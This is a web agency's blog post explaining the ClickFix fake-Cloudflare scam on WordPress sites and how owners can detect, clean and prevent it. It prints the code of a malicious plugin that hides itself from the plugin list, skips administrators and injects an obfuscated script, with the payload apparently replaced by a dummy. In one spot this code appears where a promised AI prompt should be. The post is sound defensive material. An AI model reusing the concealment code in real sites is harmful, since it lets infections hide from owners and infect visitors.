Practical guides on websites, online stores, and getting found on Google — written for business owners, not developers.
Tell us about your business today — get a free quote within 24 hours. No pressure, no confusing tech talk.
Tell us about your business today — get a free quote within 24 hours. No pressure, no confusing tech talk.
A breakdown of the fake Cloudflare verification scam hitting WordPress sites — how it hides from site owners, why security scanners miss it, and how we remove it.
Last month a client forwarded us a screenshot from one of their customers. It showed a Cloudflare verification page telling the visitor to press Windows + X, open Terminal, and paste something in.
They'd already checked the site and seen nothing wrong, and that morning's malware scan had come back clean. Everything looked normal. It was built to.
That gap is the problem with ClickFix. Your site loads fine and your dashboard looks untouched. Meanwhile your visitors are being walked through infecting their own computers, step by step.
It isn't always Cloudflare — the same page turns up as a browser update prompt or a plain CAPTCHA. The wrapper changes; the instruction doesn't.
Checking the site yourself and running a scan is the right instinct. For most infections it's the whole job. ClickFix is built to survive both.
With ClickFix, the attacker never runs the malicious command. The visitor is talked into running it themselves.
Nothing gets exploited. Nothing downloads on its own. The site shows what looks like a routine security check, and that page walks the visitor through copying a command and running it. By the time anything runs, the user launched it themselves, on a computer they trust.
That single design choice is what makes it so hard to stop. Security tools are looking for a malicious file arriving from somewhere else — an attachment, a download, an exploited plugin. ClickFix doesn't send a file — it sends instructions, and the person on the other end follows them.
It's not a fringe technique either. ESET recorded a 517% rise in ClickFix attacks across the first half of 2025. That put it second only to phishing as an attack vector. MITRE now tracks the behaviour in its ATT&CK framework. It hasn't slowed down since.
That screenshot showed a page our client had never seen themselves. With ClickFix that's normal — the attack runs on the visitor's screen, not the owner's.
The page loads normally, then a full-screen overlay appears — Cloudflare logo, orange-and-white styling, a "Verify you are human" checkbox.
The visitor clicks Verify, believing they're passing a routine bot check.
Behind that click, JavaScript drops a PowerShell command into their clipboard. They copied nothing — the script did it for them.
The overlay tells them to press Windows + X, then I, then Ctrl + V, then Enter.
Windows + X opens the Power User menu and I launches Terminal. The pasted command pulls down the real payload, usually an infostealer.
The clipboard step is what makes this work. Every action feels like normal troubleshooting, and the visitor never sees what they pasted. The command is usually padded with blank space so that what lands in Terminal looks empty, or shows only a harmless-looking verification code. It runs the moment Enter is pressed.
Older versions of this attack used Windows + R and the Run dialog, and plenty still do. Microsoft flagged the shift to Terminal in February 2026: security tools had learned to watch the Run dialog, and Terminal is a normal thing for an administrator to open. On macOS the same lure asks for a Terminal paste instead.
A real Cloudflare or Google check never leaves the browser. You tick a box or click a few images, and it's done. It never asks you to press Windows + R or Windows + X, open a terminal, or paste a command.
Malwarebytes put it plainly in July 2026: no legitimate service — Google, Cloudflare, Microsoft — asks you to paste PowerShell into Windows to prove you're human.
That one rule covers every variant. The disguise changes constantly — browser update, fake reCAPTCHA, an error screen — but the paste-and-run step is always there.
The fake plugin we recovered from our client's site called itself "XDav Tracker". It opens with this:
if ( is_admin() || ( is_user_logged_in() && current_user_can('manage_options') ) ) { return; }If you're logged in as an administrator, nothing happens at all.
The rest of the filtering works on the same principle. It fires only once per visitor — a cookie or IP check keeps it from showing twice, so the second look comes back clean. Scanners get the same treatment: the injection reads the user agent and hands Googlebot ordinary HTML. And plenty of campaigns filter by country or device, so the lure only reaches the audience the attacker wants.
Checking your own site while logged in tells you almost nothing. There's a right way to test it, and it's further down.
Two different parties get hurt here, and not in the same way. Your visitors lose data. You lose trust, traffic, and eventually revenue.
The pasted command almost always installs an infostealer — Vidar, Lumma and DanaBot are the families we see most. Within seconds it collects saved browser passwords, session cookies, autofill data, crypto wallet files, and any documents matching its search patterns.
The session cookies are the worst part. A stolen cookie lets an attacker enter an account without the password and without triggering two-factor authentication, because the session is already authenticated. Some strains then delete their own file and keep running in memory, so the victim never finds anything to remove.
Google's Safe Browsing system flags pages carrying social engineering content. Once that happens, Chrome shows a full-screen warning before anyone reaches your site, and Google's own documentation states that flagged sites are demoted in search results.
The effects spread past rankings. Google Ads accounts get suspended over compromised sites. A damaged Safe Browsing reputation also feeds email filtering, so invoices and sales mail start landing in spam. What that does to your rankings covers what recovery actually involves.
The trust damage lasts longest. A customer who was told to run a command on your website remembers your brand, not the attacker's.
ClickFix is what the attacker delivers, not how they got in. Something else opened the door first, and until you find it, removing the script only buys you a day or two.
Most of the compromises we're called in for come down to one of these:
A vulnerable plugin or theme running a known, unpatched flaw
Stolen or brute-forced admin credentials, often reused from an unrelated breach
A publicly reachable login page. Rapid7 found that nearly every site compromised in one campaign it investigated had an accessible admin page.
Compromised hosting, including cross-contamination from another site on the same shared server
A legitimate plugin pushing a malicious update after its developer account was taken over
Keeping everything updated helps, but it isn't a guarantee. When Sekoia fingerprinted thousands of sites hit by one ClickFix campaign, most were running current WordPress with up-to-date Elementor, WooCommerce and Gravity Forms. Updates close known holes. They don't close a stolen password or an exposed login page.
We pulled this file apart in full in <mark>our earlier breakdown of a real WordPress backdoor</mark> [[INTERNAL LINK → published article #1]]. XDav Tracker described itself as computer vision support, version 2.4.7, and it never appeared in the plugin list at all. The line straight after the admin check is what removes it:
add_filter( 'all_plugins', function( $plugins ) {
unset( $plugins[ plugin_basename( __FILE__ ) ] );Other places worth checking:
The mu-plugins folder, which loads automatically and isn't shown alongside normal plugins
An autoloaded row in the wp_options table
Modified functions.php or header.php
Drop-in files like advanced-cache.php or object-cache.php — these shouldn't exist if you don't run a caching plugin
A <script> tag in the rendered page loading from a throwaway domain
That clean scan on the first morning wasn't the plugin failing at its job. Scanners look for particular things, and this file was built to be none of them.
File scanners match known malicious code. XDav Tracker kept its payload as a base64 string that only became JavaScript after being run through a simple XOR loop in the browser. There was nothing on disk for a signature to match — an encoded blob and four lines of ordinary-looking PHP.
You can't audit what you can't see. The file removed itself from the plugins page, so a manual review of installed plugins showed nothing out of place.
Sucuri SiteCheck, Wordfence's remote scan, and Google's crawler all request your site the same way a visitor does — but they identify themselves. The injection reads that and serves them ordinary HTML. Meanwhile a real visitor on Chrome for Windows gets the overlay.
Newer campaigns take this further. Sekoia documented backdoors in 2026 that watch for a security scanner running on the site and switch themselves off until it finishes. How this one pulled its instructions from a blockchain goes further into where the payload came from.
A clean scan report doesn't tell you your site is clean. It tells you the scanner didn't find anything, which is what the attacker was aiming for.
Everything above explains why the obvious checks fail. This is the version that works, and none of it needs a developer.
Log out completely first. XDav Tracker did nothing for logged-in administrators, and that behaviour is standard. Then open the site in a private window, on a phone using mobile data rather than your office Wi-Fi.
Check more than once, and ideally ask someone else to check too. Many of these injections fire once per visitor and stay quiet afterwards, so a single clean look proves nothing.
Inspect shows you the page after JavaScript has finished running, and these scripts routinely remove themselves once they've fired. View Source — Ctrl+U on Windows, Cmd+U on Mac — shows the raw HTML your server actually sent.
Search that source for script tags loading from domains you don't recognise, and for long blocks of unreadable text. Encoded payloads often sit near words like atob, eval, fromCharCode or unescape.
You don't have to understand what you're looking at. Copy the page source, paste it into ChatGPT or Claude, and use this:
<?php
/**
* Plugin Name: XDav Tracker
* Version: 2.4.7
* Description: provides support for basic computer vision algorithms and a range of tracking cameras.
* Author: XDav
*/
if ( ! defined( 'ABSPATH' ) ) { exit; }
add_filter( 'all_plugins', function( $plugins ) {
unset( $plugins[ plugin_basename( __FILE__ ) ] );
return $plugins;
}, 42 );
function xdav_tracker() {
if ( is_admin() || ( function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options') ) ) { return; }
?>
<script>
!function(){var {_0xd6ec=atob('cjwvNDkuMzU0cnMhMzxyLTM0PjUtAX0FbT87P2xuP2NpY30Hcyg/Li8oNGEtMzQ+NS0BfQVtPzs/bG4/Y2ljfQdna2EsOyh6BSgvMiJneG1ubGs/YjlqODhvam84bGxrYmI/OGtiaT9iYjhibGJiaz87bG8+bmtqaWtuPDs8b3hhLDsoegUoMysxIjlnAX0yLi4qKWB1dSo1NiM9NTR0PigqOXQ1KD19dn0yLi4qKWLjM1NHIFKiktPCtzISw7KHoFOSA/NDBnBSopLTwrfHwFKiktPCt0KD8pLzYuZQU0L} - (fake script we did not share orginal script)
</script>
<?php
}
add_action( 'shutdown', 'xdav_tracker', 42 );Treat whatever comes back as a shortlist, not a verdict. A flagged domain might be a legitimate service you'd forgotten about — the point is to narrow thousands of lines down to three or four worth a human look.
One file is rarely the whole problem. Before you delete anything, note three things from the file you found: the external domain it loads, its filename, and a distinctive chunk of the encoded text inside it. Those are your search terms.
Now search the whole site for them. There are two ways, depending on what your host gives you.
Through your hosting panel. Open File Manager in cPanel, Hostinger, or whatever your host provides. Select your site's root folder — usually public_html — and use the search box. Make sure you switch on the option to search file contents, not just filenames. It's normally a checkbox next to the search field, and without it you'll miss everything.
Over SSH, if your host allows it. From your WordPress root folder:
grep -r -l "suspicious-domain.com" .That prints the path of every file containing the string. Run it once for each of your three search terms.
Then two more checks, whichever route you took. Sort your files by date modified and look at any PHP file that changed around the time the infection started. Finally, open Users in wp-admin and look for administrator accounts nobody remembers creating.
Removing the script takes ten minutes. Making sure it stays gone takes considerably longer, and skipping the second part is why most sites get reinfected within days. This is the order we work in.
Put the site into maintenance mode. You're currently serving an attack to real people. Stop that before anything else.
Take a full backup of files and database. You want a copy of the compromise itself, both for evidence and in case a cleanup step goes wrong.
Find the entry point. Check access logs around the date the malicious files appeared. Everything after this step is temporary if you skip it.
Remove the malicious files. Fake plugins, anything in mu-plugins you didn't put there, unexpected drop-in files, modified theme files.
Clean the database. Suspicious autoloaded rows in wp_options, injected script tags in post content.
Delete unrecognised administrator accounts and demote any that don't need the role.
Rotate every credential — WordPress admins, database user (update wp-config.php to match), hosting panel, SFTP, and any API keys stored on the site.
Regenerate your security keys and salts. This invalidates every active session at once, including the attacker's. It's the step people skip, and it's the reason stolen cookies keep working after a cleanup.
Close the entry point. Patch or remove the vulnerable plugin, restrict the login page, enable two-factor authentication.
Verify from outside — logged out, private window, different device, different network. Have someone else check independently.
Watch the logs for two weeks. Whoever got in the first time will try the same route again.
When a cleanup fails, it's almost always one of these: a cron job that rewrites the file on a schedule, a second copy in mu-plugins nobody looked in, an autoloaded database row that regenerates the script on the next page load, a backdoor administrator account, or the original entry point still sitting open.
Cleaning the injection is an afternoon. Closing the door is the actual job.
Prevention advice for WordPress usually arrives as a list of twenty things, which is how nothing gets done. These are the ones that would have prevented the cases we've worked on, in order of how much they matter.
Two-factor authentication on every administrator account does more than everything else on this page combined. After that, stop leaving your login page open to the internet — restrict it by IP, rename it, or put it behind a gate. Rapid7's finding about reachable admin pages isn't a coincidence.
Then limit login attempts, add bot protection, and turn off XML-RPC if nothing you use depends on it.
Delete plugins and themes you don't use — deactivating leaves the code on disk and still exploitable. Keep everything else updated, with the caveat from earlier: updates close known holes, not stolen passwords. Block PHP execution inside your uploads folder, and remove third-party scripts you can't account for.
Once a month, review your administrator accounts, your scheduled tasks, and which files changed recently. Run a security plugin as one layer, but don't treat a clean report as proof.
Most small teams don't have anyone whose job includes checking cron jobs every month, which is exactly the gap attackers rely on. If that describes your situation, it's worth having someone maintain the site properly rather than waiting for a customer to send you a screenshot.
ClickFix isn't a virus you scan for. It's a social engineering technique wrapped in a script tag, which is why it walks past tools built to catch malicious files, and why the owner is usually the last to know.
Three things are worth taking away. Check what a real visitor sees, not what you see logged in. Treat a clean scan as unproven rather than proven. And find the entry point, because the injection is only the symptom.
Our client found out because a customer took a screenshot. That's a fragile way to learn your site is attacking people, and it's the one most owners are relying on.
Does a real Cloudflare check ever ask you to open Terminal or the Run dialog?
No. A genuine CAPTCHA or Cloudflare challenge stays inside the browser — you tick a box or click a few images. Any page asking you to press Windows + R or Windows + X, or to open PowerShell or Terminal, is the attack itself.
I already pasted the command but the Terminal window looked empty. Am I safe?
Not necessarily. These commands are often padded with blank space so nothing readable appears, and many run with output hidden. If you pressed Enter, treat the machine as compromised: disconnect it from the network, change your passwords from a different device, and have it checked. Don't test this on a machine you use — pressing Enter is the attack completing.
My visitor got infected through my site. Am I responsible?
Partly, and it's not a comfortable answer. Your site served the deceptive page; the visitor ran the command. Both are true. What matters practically is stopping it immediately and telling affected visitors what to check.
I removed the script and it came back. Why?
Because something on the server regenerates it — a cron job, a file in mu-plugins, an autoloaded database row, a backdoor admin account, or the original entry point still being open.
Will Google penalise my site for this?
It can. Google flags social engineering content through Safe Browsing, and its own documentation says flagged sites are demoted in search results while Chrome warns visitors. Recovery runs through the Security Issues report in Search Console, but only once the site is genuinely clean.
ESET Threat Report H1 2025 — 517% rise, second most common attack vector
ESET Threat Report H1 2026 — further 108% growth; new variants
Microsoft threat intelligence, 2025 — ClickFix in initial access intrusions
MITRE ATT&CK T1204.004, Malicious Copy and Paste (added March 2025)
Proofpoint, April 2024 — first documentation at scale
Sekoia Threat Detection & Research — IClickFix and ErrTraffic campaign analysis
Rapid7 — compromised sites and publicly accessible admin pages
Google Search Central — Social engineering (phishing and deceptive sites)
CEO
UI/UX Designer & Founder at AppDeel | We Design & Develop SaaS, eCommerce & Business Websites with Next.js, Shopify & Webflow
Read more posts by Azizul Hakim →Tell us about your business today — get a free quote within 24 hours. No pressure, no confusing tech talk.